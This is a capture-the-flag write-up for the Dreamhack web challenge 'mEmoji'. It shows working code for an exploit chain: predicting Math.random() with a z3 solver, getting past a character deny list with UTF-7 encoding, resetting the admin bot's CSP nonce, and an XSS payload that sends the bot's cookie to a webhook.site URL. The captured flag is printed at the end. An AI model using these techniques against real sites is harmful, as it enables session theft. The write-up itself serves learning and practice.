mEmoji

11 Dec 2025
953 words

We are given an emoji-themed website built with Express where we can post memos.

There are two main vulnerabilities in this challenge.

The first is the admin bot used in the /report feature, which visits a specified URL on the website, before setting a cookie with the flag and visting our memo using the /check endpoint.

js
const bot = async (path, memoId) => {
    const browser = await puppeteer.launch({
        executablePath: "/usr/bin/google-chrome-stable",
        headless: "new",
        args: ["--no-sandbox", "--disable-gpu"],
    });
    
    try {
            const page = await browser.newPage();
            const response = await page.goto('http://127.0.0.1:3000/home/' + path);
            if (response.status() !=200 ){
                await page.close();
                await browser.close();
                return false;
            }
            await sleep(1 * 1000);
            await page.setCookie({
                name: "FLAG",
                value: FLAG,
                domain: '127.0.0.1',
                path: "/",
            });
            await page.goto(`http://127.0.0.1:3000/memo/check?id=${memoId}`);
            await sleep(2 * 1000);
            await page.close();
            await browser.close();
            return true;

    }catch (e){
        console.log(`Bot Error: ${e}`);
        return false;
    }
}

The /check endpoint itself is vulnerable to XSS, as the memo is rendered using the <%- tag, which doesn't escape HTML output.

js
<!DOCTYPE html>
<html>
<head>
</head>
<body>
    <h1>Memo Details</h1>
    <% if (content && sourceEncoding) { %>
        <h2>Memo Content</h2>
        <div id="content">
            <p><%- content %></p>
        </div>

        <h2>Source Encoding</h2>
        <div id="encoding">
            <p><%= sourceEncoding %></p>
        </div>
    <% } else { %>
        <p><%= msg %></p>
    <% } %>
</body>
</html>

The next vulnerability lies in the way the backend generates random numbers. Although the backend generates its session secret with crypto.randomBytes(32).toString(), it instead opts for Math.random() when setting memo IDs and the nonce for the admin bot.

Math.random() is known for being cryptographically insecure, and is hence predictable. Keep this in mind, this will come in handy later.

js
// routes/memo.js
const { content, sourceEncoding } = req.body;
    const random = Math.random().toString();
    const memoId = generateMD5Hash(random);
    ...

// routes/index.js
router.get('/nonce.png', (req, res) =>{
    const random = Math.random().toString();
    const nonce = generateMD5Hash(random);
    req.session.nonce = nonce;
    ...

We can first create a note that will exfiltrate the flag cookie to our webhook when reported.

The webpage enforces a blacklist that filters the angle brackets (<, >), but also supports different encoding schemes.

js
const denyList = ["<", ">", "!", "\\x", "\\u", "#"];
const encodingList = [
    "UTF-8","UTF-16","UTF-16LE","UTF-16BE","UTF-32","UTF-32LE","UTF-32BE",
    "ISO-8859-1","ISO-8859-2","ISO-8859-3","ISO-8859-4","ISO-8859-5","ISO-8859-6","ISO-8859-7","ISO-8859-8","ISO-8859-9","ISO-8859-10","ISO-8859-13","ISO-8859-14","ISO-8859-15","ISO-8859-16",
    "CP1250","CP1251","CP1252","CP1253","CP1254","CP1255","CP1256","CP1257","CP1258",
    "KOI8-R","KOI8-U",
    "EUC-JP", "EUC-KR",
    "SHIFT_JIS",
    "GB2312",
    "GBK",
    "GB18030",
    "BIG5","BIG5-HKSCS",
    "ARMSCII-8",
    "TCVN",
    "GEORGIAN-ACADEMY", "GEORGIAN-PS",
    "PT154",
    "RK1048",
    "MULELAO-1",
    "TIS-620",
    "CP874",
    "VISCII",
    "ISO-2022-JP","ISO-2022-KR","ISO-2022-CN"
];

Since the backend doesn't verify the encoding scheme before encoding our memo content, we can use UTF-7 to encode the angle brackets in our payload and bypass the filter.

js
const iconv = new Iconv(sourceEncoding, 'ASCII//TRANSLIT//IGNORE');
const contentResult = iconv.convert(content);
return res.render('test', {memo: contentResult.toString(), encodingList: encodingList});

Something you might notice is that the webpage doesn't return our memo ID after creation, so we have no way of knowing how to report our XSS memo.

This is where the Math.random() vulnerability comes in. We can adapt from this script and use it to predict the next n numbers that Math.random() will generate.

python
import z3
import struct

def predict(sequence):
    sequence = sequence[::-1]

    solver = z3.Solver()

    se_state0, se_state1 = z3.BitVecs("se_state0 se_state1", 64)

    for i in range(len(sequence)):
        se_s1 = se_state0
        se_s0 = se_state1
        se_state0 = se_s0
        se_s1 ^= se_s1 << 23
        se_s1 ^= z3.LShR(se_s1, 17)
        se_s1 ^= se_s0
        se_s1 ^= z3.LShR(se_s0, 26)
        se_state1 = se_s1

        float_64 = struct.pack("d", sequence[i] + 1)
        u_long_long_64 = struct.unpack("<Q", float_64)[0]

        mantissa = u_long_long_64 & ((1 << 52) - 1)

        solver.add(int(mantissa) == z3.LShR(se_state0, 12))

    if solver.check() == z3.sat:
        model = solver.model()

        states = {}
        for state in model.decls():
            states[state.__str__()] = model[state]

        state0 = states["se_state0"].as_long()

        u_long_long_64 = (state0 >> 12) | 0x3FF0000000000000
        float_64 = struct.pack("<Q", u_long_long_64)
        next_sequence = struct.unpack("d", float_64)[0]
        next_sequence -= 1

        return next_sequence
    else:
        return None
    
def solve(seq, n):
    results = []

    for _ in range(n):
        next_n = predict(seq)
        results.append(next_n)

        seq = seq[1:] + [next_n]

    return results

For our predictions to work, we need the first 5 numbers generated by the RNG. The /create endpoint leaks those values if the memo creation fails, and we can trigger that by sending junk in our encoding scheme.

js
catch (e){
    return res.status(500).send({result: false, msg: e, data: {content, sourceEncoding, random}});
}

The next step would be to bypass the CSP being enforced when the admin bot visits our memo.

The CSP in this case requires a session nonce from any <script> in our payload, and unlike the DEFAULT_NONCE, this isn't hardcoded in the backend.

js
const nonce = (!req.session.nonce) ? DEFAULT_NONCE : req.session.nonce;
res.setHeader('Content-Security-Policy', `default-src 'self'; base-uri 'self'; script-src 'nonce-${nonce}'`);
return res.render('check', {content: content, sourceEncoding: sourceEncoding});

Luckily, the /report endpoint requires a path argument. The path we need to report in this case is the /nonce.png endpoint, which can allow us to force reset the session nonce before the admin bot visits our memo.

Again, Math.random() is used to randomly generate the nonce, thus we can predict the MD5 hash that is generated.

js
router.get('/nonce.png', (req, res) =>{
    const random = Math.random().toString();
    const nonce = generateMD5Hash(random);
    req.session.nonce = nonce;
    res.setHeader('Content-Type','image/png');
    return res.send('ok');
})

We can write a script that will leak 5 random values to predict the next 2 numbers that Math.random() will generate. These values will be used to predict the MD5 hash of our memo ID and the session nonce.

With those values, the script will then construct the XSS payload and encode it with UTF-7, before reporting the memo.

python
import requests
from hashlib import md5
from predict_random import *

url = "http://host8.dreamhack.games:19665"
s = requests.Session()

def get_md5(n):
    return md5(str(n).encode()).hexdigest()

def get_rand():
    res = s.post(f"{url}/memo/create", data={
        'content': 'junk',
        'sourceEncoding': 'junk'
    })

    return float(res.json()['data']['random'])
        
# predict next 2 random numbers (memo id, nonce)
seq = [get_rand() for _ in range(5)]

rands = solve(seq, 2)
print("Predicted:", rands)

# xss
memo_id = get_md5(rands[0])
nonce = get_md5(rands[1])

payload = f"<script nonce={nonce}>location.href=`http://webhook.site/025771ea-26d4-408a-be54-8218ab4e1f6a/${{document.cookie}}`</script>"

payload = payload.encode('utf-7').replace(b"<", b"+ADw-").replace(b">", b"+AD4-")

res = s.post(f"{url}/memo/create", data={
    'content': payload,
    'sourceEncoding': "UTF-7"
})

print("> Created memo:", memo_id)
print("> Nonce:", nonce)

# report
res = s.post(f'{url}/report', data={
    'path': 'nonce.png',
    'memoId': memo_id
})

if "ok" in res.text.lower():
    print("> URL reported")

The webhook will then receive the flag cookie after the report is made.

Flag: DH{4b6f67949ea1db90a74922589b95078d87e98c86f1f1c092203d4c5453d3b383}